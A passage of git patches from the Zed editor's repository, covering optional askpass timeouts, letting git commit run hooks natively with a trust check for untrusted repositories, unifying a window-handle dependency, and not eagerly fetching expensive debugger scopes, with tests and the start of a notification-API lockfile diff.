     // future when this is no longer needed. Note that this can only be called once, but due to the
     // drop order this takes an &mut, so you can `drop()` it after you're done with the master process.
-    pub async fn run(&mut self) -> AskPassResult {
-        // This is the default timeout setting used by VSCode.
-        let connection_timeout = Duration::from_secs(17);
+    //
+    // When `timeout` is provided, this resolves with `AskPassResult::Timedout` if no askpass prompt
+    // has been opened within that duration. This is intended for connection establishment (e.g.
+    // SSH), where "no prompt and no connection" indicates an unreachable host. Callers wrapping
+    // commands that may legitimately run for a long time without prompting (e.g. git) should pass
+    // `None` and rely on the command's own completion instead.
+    pub async fn run(&mut self, timeout: Option<Duration>) -> AskPassResult {
         let askpass_opened_rx = self.askpass_opened_rx.take().expect("Only call run once");
         let askpass_kill_master_rx = self
             .askpass_kill_master_rx
             .take()
             .expect("Only call run once");
         let executor = self.executor.clone();
+        let timer = async move {
+            match timeout {
+                Some(timeout) => executor.timer(timeout).await,
+                None => std::future::pending().await,
+            }
+        };
 
         select_biased! {
             _ = askpass_opened_rx.fuse() => {
@@ -173,7 +183,7 @@ impl AskPassSession {
                 AskPassResult::CancelledByUser
             }
 
-            _ = futures::FutureExt::fuse(executor.timer(connection_timeout)) => {
+            _ = futures::FutureExt::fuse(timer) => {
                 AskPassResult::Timedout
             }
         }
diff --git a/crates/git/src/repository.rs b/crates/git/src/repository.rs
index 2f378f4adac366..857a62f1b1d301 100644
--- a/crates/git/src/repository.rs
+++ b/crates/git/src/repository.rs
@@ -1013,6 +1013,10 @@ pub trait GitRepository: Send + Sync {
         env: Arc<HashMap<String, String>>,
     ) -> BoxFuture<'_, Result<()>>;
 
+    /// Only used to serve `proto::RunGitHook` requests from older remote clients;
+    /// new code lets `git commit` run hooks itself.
+    ///
+    /// TODO: remove together with `proto::RunGitHook` (see the deprecation note in git.proto).
     fn run_hook(
         &self,
         hook: RunHook,
@@ -2532,7 +2536,6 @@ impl GitRepository for RealGitRepository {
             cmd.envs(env.iter())
                 .arg(&message.to_string())
                 .arg("--cleanup=strip")
-                .arg("--no-verify")
                 .stdout(Stdio::piped())
                 .stderr(Stdio::piped());
 
@@ -3767,12 +3770,15 @@ async fn run_askpass_command(
     git_process: util::command::Child,
 ) -> anyhow::Result<RemoteCommandOutput> {
     select_biased! {
-        result = ask_pass.run().fuse() => {
+        // Git can legitimately run long without prompting (e.g. large fetches,
+        // hooks), so completion is determined by the process itself.
+        result = ask_pass.run(None).fuse() => {
             match result {
                 AskPassResult::CancelledByUser => {
                     Err(anyhow!(REMOTE_CANCELLED_BY_USER))?
                 }
                 AskPassResult::Timedout => {
+                    // Unreachable since no timeout is passed to run()
                     Err(anyhow!("Connecting to host timed out"))?
                 }
             }
@@ -4936,6 +4942,87 @@ mod tests {
         // );
     }
 
+    #[cfg(unix)]
+    #[gpui::test]
+    async fn test_commit_runs_git_hooks(cx: &mut TestAppContext) {
+        use std::os::unix::fs::PermissionsExt as _;
+
+        disable_git_global_config();
+        cx.executor().allow_parking();
+
+        let repo_dir = tempfile::tempdir().unwrap();
+        git_init_repo(repo_dir.path());
+        let repo = RealGitRepository::new(
+            &repo_dir.path().join(".git"),
+            None,
+            Some("git".into()),
+            cx.executor(),
+        )
+        .unwrap();
+
+        let hooks_dir = repo_dir.path().join(".git").join("hooks");
+        fs::create_dir_all(&hooks_dir).unwrap();
+        let write_hook = |name: &str, contents: &str| {
+            let path = hooks_dir.join(name);
+            fs::write(&path, contents).unwrap();
+            fs::set_permissions(&path, std::fs::Permissions::from_mode(0o755)).unwrap();
+        };
+
+        write_hook("pre-commit", "#!/bin/sh\nexit 1\n");
+
+        fs::write(repo_dir.path().join("file"), "one").unwrap();
+        repo.stage_paths(vec![repo_path("file")], Arc::new(HashMap::default()))
+            .await
+            .unwrap();
+
+        // Hooks must not run for untrusted repositories.
+        repo.commit(
+            "Commit in untrusted repo".into(),
+            None,
+            CommitOptions::default(),
+            AskPassDelegate::new(&mut cx.to_async(), |_, _, _| {}),
+            Arc::new(test_commit_envs()),
+        )
+        .await
+        .expect("failing pre-commit hook should be skipped in untrusted repos");
+
+        repo.set_trusted(true);
+
+        fs::write(repo_dir.path().join("file"), "two").unwrap();
+        repo.stage_paths(vec![repo_path("file")], Arc::new(HashMap::default()))
+            .await
+            .unwrap();
+
+        repo.commit(
+            "Commit blocked by hook".into(),
+            None,
+            CommitOptions::default(),
+            AskPassDelegate::new(&mut cx.to_async(), |_, _, _| {}),
+            Arc::new(test_commit_envs()),
+        )
+        .await
+        .expect_err("failing pre-commit hook should abort the commit");
+
+        write_hook("pre-commit", "#!/bin/sh\nexit 0\n");
+        write_hook(
+            "commit-msg",
+            "#!/bin/sh\necho 'rewritten by commit-msg hook' > \"$1\"\n",
+        );
+
+        repo.commit(
+            "Original message".into(),
+            None,
+            CommitOptions::default(),
+            AskPassDelegate::new(&mut cx.to_async(), |_, _, _| {}),
+            Arc::new(test_commit_envs()),
+        )
+        .await
+        .unwrap();
+
+        let message = git_command_output(repo_dir.path(), ["log", "-1", "--pretty=%B"]);
+        assert_eq!(message, "rewritten by commit-msg hook");
+    }
+
     #[gpui::test]
     async fn test_load_revisions(cx: &mut TestAppContext) {
         disable_git_global_config();
diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index 26145b4a5c6c51..1b1f873516a0ea 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -7367,6 +7367,11 @@ impl Repository {
         })
     }
 
+    // Kept for wire compatibility: older remote clients run the pre-commit hook explicitly
+    // via `proto::RunGitHook` before committing. New code lets `git commit` run hooks itself.
+    //
+    // TODO: remove together with `proto::RunGitHook` once all supported peers commit without
+    // sending it (see the deprecation note on the message in git.proto).
     pub fn run_hook(&mut self, hook: RunHook, _cx: &mut App) -> oneshot::Receiver<Result<()>> {
         let id = self.id;
         self.send_job(
@@ -7401,20 +7406,16 @@ impl Repository {
         name_and_email: Option<(SharedString, SharedString)>,
         options: CommitOptions,
         askpass: AskPassDelegate,
-        cx: &mut App,
+        _cx: &mut App,
     ) -> oneshot::Receiver<Result<()>> {
         let id = self.id;
         let askpass_delegates = self.askpass_delegates.clone();
         let askpass_id = util::post_inc(&mut self.latest_askpass_id);
 
-        let rx = self.run_hook(RunHook::PreCommit, cx);
-
         self.send_job(
             "commit",
             Some("git commit".into()),
             move |git_repo, _cx| async move {
-                rx.await??;
-
                 match git_repo {
                     RepositoryState::Local(LocalRepositoryState {
                         backend,
diff --git a/crates/proto/proto/git.proto b/crates/proto/proto/git.proto
index 1592237cda8713..33cbadc13ca5f7 100644
--- a/crates/proto/proto/git.proto
+++ b/crates/proto/proto/git.proto
@@ -682,6 +682,12 @@ message GitWorktreeCreatedAtResponse {
   optional Timestamp created_at = 1;
 }
 
+// Deprecated: newer clients let `git commit` run hooks natively instead of
+// requesting them explicitly.
+//
+// TODO: once all supported peers commit without sending `RunGitHook`, remove
+// this message (and its handlers) and replace its tag in the Envelope payload
+// oneof with `reserved 399;` so the tag is never reused.
 message RunGitHook {
   enum GitHook {
     PRE_COMMIT = 0;
diff --git a/crates/remote/src/transport/ssh.rs b/crates/remote/src/transport/ssh.rs
index 463037ccc05096..9cd13a01882725 100644
--- a/crates/remote/src/transport/ssh.rs
+++ b/crates/remote/src/transport/ssh.rs
@@ -26,7 +26,7 @@ use std::{
         Arc,
         atomic::{AtomicBool, Ordering},
     },
-    time::Instant,
+    time::{Duration, Instant},
 };
 use tempfile::TempDir;
 use util::command::{Child, Stdio};
@@ -36,6 +36,9 @@ use util::{
     shell::ShellKind,
 };
 
+/// How long to wait for SSH to connect when no askpass prompt has opened.
+const SSH_CONNECTION_PROMPT_TIMEOUT: Duration = Duration::from_secs(17);
+
 pub(crate) struct SshRemoteConnection {
     socket: SshSocket,
     master_process: Mutex<Option<MasterProcess>>,
@@ -654,7 +657,7 @@ impl SshRemoteConnection {
             )?;
 
             let result = select_biased! {
-                result = askpass.run().fuse() => {
+                result = askpass.run(Some(SSH_CONNECTION_PROMPT_TIMEOUT)).fuse() => {
                     match result {
                         AskPassResult::CancelledByUser => {
                             master_process.as_mut().kill().ok();
@@ -712,7 +715,7 @@ impl SshRemoteConnection {
             )?;
 
             let result = select_biased! {
-                result = askpass.run().fuse() => {
+                result = askpass.run(Some(SSH_CONNECTION_PROMPT_TIMEOUT)).fuse() => {
                     match result {
                         AskPassResult::CancelledByUser => {
                             master_process.as_mut().kill().ok();

From f1280b64a4146519d389c7d2f1c4817893d1d1e3 Mon Sep 17 00:00:00 2001
From: tidely <43219534+tidely@users.noreply.github.com>
Date: Fri, 17 Jul 2026 16:41:05 +0300
Subject: [PATCH 524/772] gpui: Unify `raw-window-handle` dependency (#61193)

Just something I noticed while skimming through dependencies

Release Notes:

- N/A or Added/Fixed/Improved ...
---
 Cargo.toml                     | 1 +
 crates/gpui/Cargo.toml         | 2 +-
 crates/gpui_linux/Cargo.toml   | 2 +-
 crates/gpui_macos/Cargo.toml   | 2 +-
 crates/gpui_web/Cargo.toml     | 2 +-
 crates/gpui_wgpu/Cargo.toml    | 2 +-
 crates/gpui_windows/Cargo.toml | 2 +-
 7 files changed, 7 insertions(+), 6 deletions(-)

diff --git a/Cargo.toml b/Cargo.toml
index 3be6ec0967f83b..b7b2e007e7ebc7 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -741,6 +741,7 @@ quick-xml = "0.38"
 quote = "1.0.9"
 rand = "0.9"
 rayon = "1.8"
+raw-window-handle = "0.6"
 regex = "1.5"
 # WARNING: If you change this, you must also publish a new version of zed-reqwest to crates.io
 reqwest = { git = "https://github.com/zed-industries/reqwest.git", rev = "c15662463bda39148ba154100dd44d3fba5873a4", default-features = false, features = [
diff --git a/crates/gpui/Cargo.toml b/crates/gpui/Cargo.toml
index 7adeeffa50d2ff..586eed26093b67 100644
--- a/crates/gpui/Cargo.toml
+++ b/crates/gpui/Cargo.toml
@@ -73,7 +73,7 @@ proptest = { workspace = true, optional = true }
 chrono.workspace = true
 profiling.workspace = true
 rand.workspace = true
-raw-window-handle = "0.6"
+raw-window-handle.workspace = true
 regex.workspace = true
 refineable.workspace = true
 scheduler.workspace = true
diff --git a/crates/gpui_linux/Cargo.toml b/crates/gpui_linux/Cargo.toml
index 3fcaa995d3d2fa..160a9525ce1a4f 100644
--- a/crates/gpui_linux/Cargo.toml
+++ b/crates/gpui_linux/Cargo.toml
@@ -81,7 +81,7 @@ oo7 = { version = "0.6", default-features = false, features = [
     "native_crypto",
 ] }
 calloop = "0.14.3"
-raw-window-handle = "0.6"
+raw-window-handle.workspace = true
 
 # Used in both windowing options
 ashpd = { workspace = true, optional = true }
diff --git a/crates/gpui_macos/Cargo.toml b/crates/gpui_macos/Cargo.toml
index 75ce276bf02faf..3c359ed53f8229 100644
--- a/crates/gpui_macos/Cargo.toml
+++ b/crates/gpui_macos/Cargo.toml
@@ -56,7 +56,7 @@ objc2-app-kit.workspace = true
 objc2-foundation.workspace = true
 parking_lot.workspace = true
 pathfinder_geometry = "0.5"
-raw-window-handle = "0.6"
+raw-window-handle.workspace = true
 semver.workspace = true
 smallvec.workspace = true
 strum.workspace = true
diff --git a/crates/gpui_web/Cargo.toml b/crates/gpui_web/Cargo.toml
index 6ceafc0f3bc1cd..643310f3ac174a 100644
--- a/crates/gpui_web/Cargo.toml
+++ b/crates/gpui_web/Cargo.toml
@@ -31,7 +31,7 @@ wasm-bindgen-futures = "0.4"
 web-time.workspace = true
 console_error_panic_hook = "0.1.7"
 js-sys = "0.3"
-raw-window-handle = "0.6"
+raw-window-handle.workspace = true
 wasm_thread = { version = "0.3", features = ["es_modules"], optional = true }
 web-sys = { version = "0.3", features = [
     "console",
diff --git a/crates/gpui_wgpu/Cargo.toml b/crates/gpui_wgpu/Cargo.toml
index 61a5746df35c6a..181b3588b4bbd5 100644
--- a/crates/gpui_wgpu/Cargo.toml
+++ b/crates/gpui_wgpu/Cargo.toml
@@ -26,7 +26,7 @@ itertools.workspace = true
 log.workspace = true
 parking_lot.workspace = true
 profiling.workspace = true
-raw-window-handle = "0.6"
+raw-window-handle.workspace = true
 smallvec.workspace = true
 swash = "0.2.6"
 unicode-segmentation.workspace = true
diff --git a/crates/gpui_windows/Cargo.toml b/crates/gpui_windows/Cargo.toml
index 24799c0258cedc..0715cbc78ae1bf 100644
--- a/crates/gpui_windows/Cargo.toml
+++ b/crates/gpui_windows/Cargo.toml
@@ -33,7 +33,7 @@ itertools.workspace = true
 log.workspace = true
 parking_lot.workspace = true
 rand.workspace = true
-raw-window-handle = "0.6"
+raw-window-handle.workspace = true
 smallvec.workspace = true
 uuid.workspace = true
 windows.workspace = true

From 858d3172a81594bc137a20dc24bf05c8467b56a3 Mon Sep 17 00:00:00 2001
From: Jason Williams <936006+jasonwilliams@users.noreply.github.com>
Date: Fri, 17 Jul 2026 15:42:46 +0100
Subject: [PATCH 525/772] debugger: Don't eagerly fetch variables for expensive
 DAP scopes (#61144)

# Objective

Zed eagerly fetches variables for every scope returned by a DAP `scopes`
response, including scopes the adapter marked `expensive: true`.

Per the [DAP
spec](https://microsoft.github.io/debug-adapter-protocol/specification#Types_Scope),
`expensive` means "the number of variables in this scope is large or
expensive to retrieve... recommended for UIs to not automatically expand
and evaluate the scope. Some debug adapters (e.g. `vscode-js-debug`,
used for JavaScript/Chrome debugging) mark scopes like "Global" as
expensive because resolving them can hang forever. VS Code honors this
and leaves the scope collapsed until the user opts in by expanding it;
Zed did not, so any session with a hanging expensive scope would freeze
the entire debug session (including Resume) with no user action at all.

Fixes #61105

## Solution

- `Session::scopes()` in `crates/project/src/debugger/session.rs`
[unconditionally called
`this.variables(...)`](https://github.com/zed-industries/zed/blob/058f01fa93503491a735bfded53e77bfaa276148/crates/project/src/debugger/session.rs#L2538)
for every scope in the `scopes` response.
- `VariableList::build_entries()` in
`crates/debugger_ui/src/session/running/variable_list.rs` also called
`session.variables(...)` [on every
scope](https://github.com/zed-industries/zed/blob/058f01fa93503491a735bfded53e77bfaa276148/crates/debugger_ui/src/session/running/variable_list.rs#L291-L304),
as a side effect of checking whether it was empty (used to decide
whether to hide it from the tree). Fixing only the first call site
wasn't enough, since this one would still trigger the fetch on the very
next render.

Both now skip the fetch for `expensive` scopes. Expensive scopes still
show up in the variable list, collapsed, so the user can expand them
manually (which fetches lazily via the existing on-toggle path). Also
hardened the auto-expand heuristic (e.g. "expand the only scope if it's
not Locals") to never auto-expand an expensive scope, even in adapters
where it happens to be the sole or "Locals"-named scope.

## Testing

- Added `test_expensive_scope_is_not_eagerly_fetched` in
`crates/debugger_ui/src/tests/variable_list.rs`, asserting the DAP
`variables` request is never sent for an
`expensive: true` scope until the user expands it, and that expanding it
does trigger the fetch. Verified this test fails on the old code and
passes with the fix.
  - Ran the full `debugger_ui` test suite, all pass, no regressions.
- Manually reproduced and verified the fix using the minimal repro at
https://github.com/jasonwilliams/zed-dap-repro

## Self-Review Checklist:

  - [x] I've reviewed my own diff for quality, security, and reliability
  - [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and

[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
  - [x] Tests cover the new/changed behavior
  - [x] Performance impact has been considered and is acceptable

## Showcase

Before:

https://github.com/user-attachments/assets/7a3ead7e-aece-4726-883d-d60d49c83b7c
Here you can see that once the break has happened Zed has crashed,
resuming doesn't help, i effectively need to kill the whole debug
session.

After:

https://github.com/user-attachments/assets/7a36cbb0-f22b-4782-9326-9ccab9297fc7
Here you can see the Global scope is closed and clicking resume carries
on without any crashes

Release Notes:

- Fixed debugger eagerly fetching expensive variable scopes

---------

Co-authored-by: Anthony Eid <anthony@zed.dev>
---
 .../src/session/running/variable_list.rs      |  20 +-
 crates/debugger_ui/src/tests/variable_list.rs | 251 ++++++++++++++++++
 crates/project/src/debugger/session.rs        |   4 +-
 3 files changed, 264 insertions(+), 11 deletions(-)

diff --git a/crates/debugger_ui/src/session/running/variable_list.rs b/crates/debugger_ui/src/session/running/variable_list.rs
index cdb5b8122a39f8..56aed0bb1c7de8 100644
--- a/crates/debugger_ui/src/session/running/variable_list.rs
+++ b/crates/debugger_ui/src/session/running/variable_list.rs
@@ -298,9 +298,10 @@ impl VariableList {
                     contains_local_scope = true;
                 }
 
-                self.session.update(cx, |session, cx| {
-                    !session.variables(scope.variables_reference, cx).is_empty()
-                })
+                scope.expensive
+                    || self.session.update(cx, |session, cx| {
+                        !session.variables(scope.variables_reference, cx).is_empty()
+                    })
             })
             .map(|scope| {
                 (
@@ -347,12 +348,13 @@ impl VariableList {
                 .or_insert(EntryState {
                     depth: path.indices.len(),
                     is_expanded: dap_kind.as_scope().is_some_and(|scope| {
-                        (scopes_count == 1 && !contains_local_scope)
-                            || scope
-                                .presentation_hint
-                                .as_ref()
-                                .map(|hint| *hint == ScopePresentationHint::Locals)
-                                .unwrap_or(scope.name.to_lowercase().starts_with("local"))
+                        !scope.expensive
+                            && ((scopes_count == 1 && !contains_local_scope)
+                                || scope
+                                    .presentation_hint
+                                    .as_ref()
+                                    .map(|hint| *hint == ScopePresentationHint::Locals)
+                                    .unwrap_or(scope.name.to_lowercase().starts_with("local")))
                     }),
                     parent_reference: container_reference,
                     has_children: variables_reference != 0,
diff --git a/crates/debugger_ui/src/tests/variable_list.rs b/crates/debugger_ui/src/tests/variable_list.rs
index 8e6c1259921b45..5b88637306e0a2 100644
--- a/crates/debugger_ui/src/tests/variable_list.rs
+++ b/crates/debugger_ui/src/tests/variable_list.rs
@@ -478,6 +478,257 @@ async fn test_fetch_variables_for_multiple_scopes(
     });
 }
 
+/// A scope marked `expensive: true` by the DAP adapter (e.g. a JavaScript "Global"
+/// scope) must not have its variables fetched automatically, since resolving it can
+/// hang indefinitely. It should render collapsed, and only be resolved once the user
+/// explicitly expands it.
+#[gpui::test]
+async fn test_expensive_scope_is_not_eagerly_fetched(
+    executor: BackgroundExecutor,
+    cx: &mut TestAppContext,
+) {
+    init_test(cx);
+
+    let fs = FakeFs::new(executor.clone());
+
+    let test_file_content = r#"
+        const local = 1;
+    "#
+    .unindent();
+
+    fs.insert_tree(
+        path!("/project"),
+        json!({
+           "src": {
+               "test.js": test_file_content,
+           }
+        }),
+    )
+    .await;
+
+    let project = Project::test(fs, [path!("/project").as_ref()], cx).await;
+    let workspace = init_test_workspace(&project, cx).await;
+    workspace
+        .update(cx, |workspace, window, cx| {
+            workspace.focus_panel::<DebugPanel>(window, cx);
+        })
+        .unwrap();
+    let cx = &mut VisualTestContext::from_window(*workspace, cx);
+
+    let session = start_debug_session(&workspace, cx, |_| {}).unwrap();
+    let client = session.update(cx, |session, _| session.adapter_client().unwrap());
+
+    client.on_request::<dap::requests::Threads, _>(move |_, _| {
+        Ok(dap::ThreadsResponse {
+            threads: vec![dap::Thread {
+                id: 1,
+                name: "Thread 1".into(),
+            }],
+        })
+    });
+
+    client.on_request::<Initialize, _>(move |_, _| {
+        Ok(dap::Capabilities {
+            supports_step_back: Some(false),
+            ..Default::default()
+        })
+    });
+
+    client.on_request::<Launch, _>(move |_, _| Ok(()));
+
+    let stack_frames = vec![StackFrame {
+        id: 1,
+        name: "Stack Frame 1".into(),
+        source: Some(dap::Source {
+            name: Some("test.js".into()),
+            path: Some(path!("/project/src/test.js").into()),
+            source_reference: None,
+            presentation_hint: None,
+            origin: None,
+            sources: None,
+            adapter_data: None,
+            checksums: None,
+        }),
+        line: 1,
+        column: 1,
+        end_line: None,
+        end_column: None,
+        can_restart: None,
+        instruction_pointer_reference: None,
+        module_id: None,
+        presentation_hint: None,
+    }];
+
+    client.on_request::<StackTrace, _>({
+        let stack_frames = Arc::new(stack_frames.clone());
+        move |_, args| {
+            assert_eq!(1, args.thread_id);
+
+            Ok(dap::StackTraceResponse {
+                stack_frames: (*stack_frames).clone(),
+                total_frames: None,
+            })
+        }
+    });
+
+    let scopes = vec![
+        Scope {
+            name: "Local".into(),
+            presentation_hint: Some(dap::ScopePresentationHint::Locals),
+            variables_reference: 2,
+            named_variables: None,
+            indexed_variables: None,
+            expensive: false,
+            source: None,
+            line: None,
+            column: None,
+            end_line: None,
+            end_column: None,
+        },
+        Scope {
+            name: "Global".into(),
+            presentation_hint: None,
+            variables_reference: 3,
+            named_variables: None,
+            indexed_variables: None,
+            expensive: true,
+            source: None,
+            line: None,
+            column: None,
+            end_line: None,
+            end_column: None,
+        },
+    ];
+
+    client.on_request::<Scopes, _>({
+        let scopes = Arc::new(scopes.clone());
+        move |_, args| {
+            assert_eq!(1, args.frame_id);
+
+            Ok(dap::ScopesResponse {
+                scopes: (*scopes).clone(),
+            })
+        }
+    });
+
+    let fetched_expensive_scope = Arc::new(AtomicBool::new(false));
+
+    client.on_request::<Variables, _>({
+        let fetched_expensive_scope = fetched_expensive_scope.clone();
+        move |_, args| match args.variables_reference {
+            2 => Ok(dap::VariablesResponse {
+                variables: vec![Variable {
+                    name: "localVar".into(),
+                    value: "1".into(),
+                    type_: None,
+                    presentation_hint: None,
+                    evaluate_name: None,
+                    variables_reference: 0,
+                    named_variables: None,
+                    indexed_variables: None,
+                    memory_reference: None,
+                    declaration_location_reference: None,
+                    value_location_reference: None,
+                }],
+            }),
+            3 => {
+                fetched_expensive_scope.store(true, Ordering::SeqCst);
+                Ok(dap::VariablesResponse {
+                    variables: vec![Variable {
+                        name: "globalVar".into(),
+                        value: "expensive".into(),
+                        type_: None,
+                        presentation_hint: None,
+                        evaluate_name: None,
+                        variables_reference: 0,
+                        named_variables: None,
+                        indexed_variables: None,
+                        memory_reference: None,
+                        declaration_location_reference: None,
+                        value_location_reference: None,
+                    }],
+                })
+            }
+            id => unreachable!("unexpected variables reference {id}"),
+        }
+    });
+
+    client
+        .fake_event(dap::messages::Events::Stopped(dap::StoppedEvent {
+            reason: dap::StoppedEventReason::Pause,
+            description: None,
+            thread_id: Some(1),
+            preserve_focus_hint: None,
+            text: None,
+            all_threads_stopped: None,
+            hit_breakpoint_ids: None,
+        }))
+        .await;
+
+    cx.run_until_parked();
+
+    let running_state =
+        active_debug_session_panel(workspace, cx).update_in(cx, |item, window, cx| {
+            cx.focus_self(window);
+            let running = item.running_state().clone();
+
+            let variable_list = running.update(cx, |state, cx| {
+                // have to do this because the variable list pane should be shown/active
+                // for testing keyboard navigation
+                state.activate_item(DebuggerPaneItem::Variables, window, cx);
+
+                state.variable_list().clone()
+            });
+            variable_list.update(cx, |_, cx| cx.focus_self(window));
+            running
+        });
+    cx.run_until_parked();
+
+    running_state.update(cx, |running_state, cx| {
+        running_state
+            .variable_list()
+            .update(cx, |variable_list, _| {
+                // The expensive "Global" scope is visible but collapsed; its variables
+                // must not have been fetched yet.
+                variable_list.assert_visual_entries(vec!["v Local", "    > localVar", "> Global"]);
+            });
+    });
+
+    assert!(
+        !fetched_expensive_scope.load(Ordering::SeqCst),
+        "Zed must not eagerly fetch variables for a scope marked `expensive: true`"
+    );
+
+    // Select and expand the Global scope: only now should its variables be resolved.
+    cx.dispatch_action(SelectFirst);
+    cx.dispatch_action(SelectFirst);
+    cx.run_until_parked();
+    cx.dispatch_action(SelectNext);
+    cx.run_until_parked();
+    cx.dispatch_action(SelectNext);
+    cx.run_until_parked();
+    cx.dispatch_action(ExpandSelectedEntry);
+    cx.run_until_parked();
+
+    running_state.update(cx, |running_state, cx| {
+        running_state
+            .variable_list()
+            .update(cx, |variable_list, _| {
+                variable_list.assert_visual_entries(vec![
+                    "v Local",
+                    "    > localVar",
+                    "v Global <=== selected",
+                    "    > globalVar",
+                ]);
+            });
+    });
+
+    assert!(
+        fetched_expensive_scope.load(Ordering::SeqCst),
+        "Expanding the Global scope should fetch its variables"
+    );
+}
+
 // tests that toggling a variable will fetch its children and shows it
 #[gpui::test]
 async fn test_keyboard_navigation(executor: BackgroundExecutor, cx: &mut TestAppContext) {
diff --git a/crates/project/src/debugger/session.rs b/crates/project/src/debugger/session.rs
index 185722034a2097..1f2e10cd337f4e 100644
--- a/crates/project/src/debugger/session.rs
+++ b/crates/project/src/debugger/session.rs
@@ -2534,8 +2534,8 @@ impl Session {
                         return
                     };
 
-                    for scope in scopes.iter() {
-                        this.variables(scope.variables_reference, cx);
+                    for scope in scopes.iter().filter(|scope| !scope.expensive) {
+                            this.variables(scope.variables_reference, cx);
                     }
 
                     let entry = this

From de827bce2ff1cbb40040bea0ef57c8ac56afd726 Mon Sep 17 00:00:00 2001
From: Lukas Wirth <lukas@zed.dev>
Date: Fri, 17 Jul 2026 20:52:23 +0200
Subject: [PATCH 526/772] gpui: Add system notification platform APIs (#61189)

Release Notes:

- N/A or Added/Fixed/Improved ...

---------

Co-authored-by: John Tur <john-tur@outlook.com>
---
 Cargo.lock                                    |  74 +++++
 Cargo.toml                                    |   8 +-
 crates/gpui/Cargo.toml                        |   5 +
 crates/gpui/examples/README.md                |   1 +
 crates/gpui/examples/system_notifications.rs  | 149 +++++++++
 crates/gpui/src/app.rs                        |  50 ++-
 crates/gpui/src/app/test_context.rs           | 180 +++++++++-
 crates/gpui/src/platform.rs                   |  77 +++++
 crates/gpui/src/platform/test/platform.rs     |  89 ++++-
 crates/gpui_linux/Cargo.toml                  |   1 +
 crates/gpui_linux/src/linux.rs                |   1 +
 crates/gpui_linux/src/linux/platform.rs       |  33 ++
 .../src/linux/system_notifications.rs         | 154 +++++++++
 crates/gpui_macos/Cargo.toml                  |   2 +
 crates/gpui_macos/src/gpui_macos.rs           |   1 +
 crates/gpui_macos/src/platform.rs             |  23 ++
 crates/gpui_macos/src/system_notifications.rs | 309 ++++++++++++++++++
 crates/gpui_windows/src/gpui_windows.rs       |   2 +
 crates/gpui_windows/src/platform.rs           |  69 ++++
 .../gpui_windows/src/system_notifications.rs  | 198 +++++++++++
 20 files changed, 1416 insertions(+), 10 deletions(-)
 create mode 100644 crates/gpui/examples/system_notifications.rs
 create mode 100644 crates/gpui_linux/src/linux/system_notifications.rs
 create mode 100644 crates/gpui_macos/src/system_notifications.rs
 create mode 100644 crates/gpui_windows/src/system_notifications.rs

diff --git a/Cargo.lock b/Cargo.lock
index 3775ab6b3a3ca9..fde8ae565b8f7e 100644
--- a/Cargo.lock
+++ b/Cargo.lock
@@ -7888,6 +7888,7 @@ dependencies = [
  "itertools 0.14.0",
  "libc",
  "log",
+ "notify-rust",
  "oo7",
  "open",
  "parking_lot",
@@ -7923,6 +7924,7 @@ dependencies = [
  "anyhow",
  "async-task",
  "block",
+ "block2 0.6.2",
  "cbindgen",
  "cocoa 0.26.0",
  "collections",
@@ -7950,6 +7952,7 @@ dependencies = [
  "objc2 0.6.3",
  "objc2-app-kit 0.3.2",
  "objc2-foundation 0.3.2",
+ "objc2-user-notifications",
  "parking_lot",
  "pathfinder_geometry",
  "raw-window-handle",
@@ -10679,6 +10682,20 @@ version = "0.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "c41e0c4fef86961ac6d6f8a82609f55f31b05e4fce149ac5710e439df7619ba4"
 
+[[package]]
+name = "mac-notification-sys"
+version = "0.6.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fd604973958ddcc11b561193c0fb96ba146506ef2f231ef2e7c35fd2cbc9beca"
+dependencies = [
+ "cc",
+ "log",
+ "objc2 0.6.3",
+ "objc2-foundation 0.3.2",
+ "time",
+ "uuid",
+]
+
 [[package]]
 name = "mach2"
 version = "0.4.3"
@@ -11648,6 +11665,20 @@ dependencies = [
  "notify 6.1.1",
 ]
 
+[[package]]
+name = "notify-rust"
+version = "4.18.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c5b4c1b4f2aa9f25f63a7a49d3dd0ed567b3670da15330a66b29434be899b891"
+dependencies = [
+ "futures-lite 2.6.1",
+ "log",
+ "mac-notification-sys",
+ "serde",
+ "tauri-winrt-notification",
+ "zbus",
+]
+
 [[package]]
 name = "notify-types"
 version = "2.1.0"
@@ -12060,6 +12091,16 @@ dependencies = [
  "objc2-metal 0.2.2",
 ]
 
+[[package]]
+name = "objc2-core-location"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ca347214e24bc973fc025fd0d36ebb179ff30536ed1f80252706db19ee452009"
+dependencies = [
+ "objc2 0.6.3",
+ "objc2-foundation 0.3.2",
+]
+
 [[package]]
 name = "objc2-core-services"
 version = "0.3.2"
@@ -12163,6 +12204,19 @@ dependencies = [
  "objc2-metal 0.3.2",
 ]
 
+[[package]]
+name = "objc2-user-notifications"
+version = "0.3.2"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9df9128cbbfef73cda168416ccf7f837b62737d748333bfe9ab71c245d76613e"
+dependencies = [
+ "bitflags 2.10.0",
+ "block2 0.6.2",
+ "objc2 0.6.3",
+ "objc2-core-location",
+ "objc2-foundation 0.3.2",
+]
+
 [[package]]
 name = "objc_exception"
 version = "0.1.2"
@@ -18370,6 +18424,17 @@ dependencies = [
  "zed_actions",
 ]
 
+[[package]]
+name = "tauri-winrt-notification"
+version = "0.7.3"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9ed071c670382e85fc2f48ae706492d8c338f4f89bf72520d32f8abfe880aade"
+dependencies = [
+ "thiserror 2.0.17",
+ "windows 0.61.3",
+ "windows-version",
+]
+
 [[package]]
 name = "telemetry"
 version = "0.1.0"
@@ -21986,6 +22051,15 @@ dependencies = [
  "windows-link 0.2.1",
 ]
 
+[[package]]
+name = "windows-version"
+version = "0.1.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "e4060a1da109b9d0326b7262c8e12c84df67cc0dbc9e33cf49e01ccc2eb63631"
+dependencies = [
+ "windows-link 0.2.1",
+]
+
 [[package]]
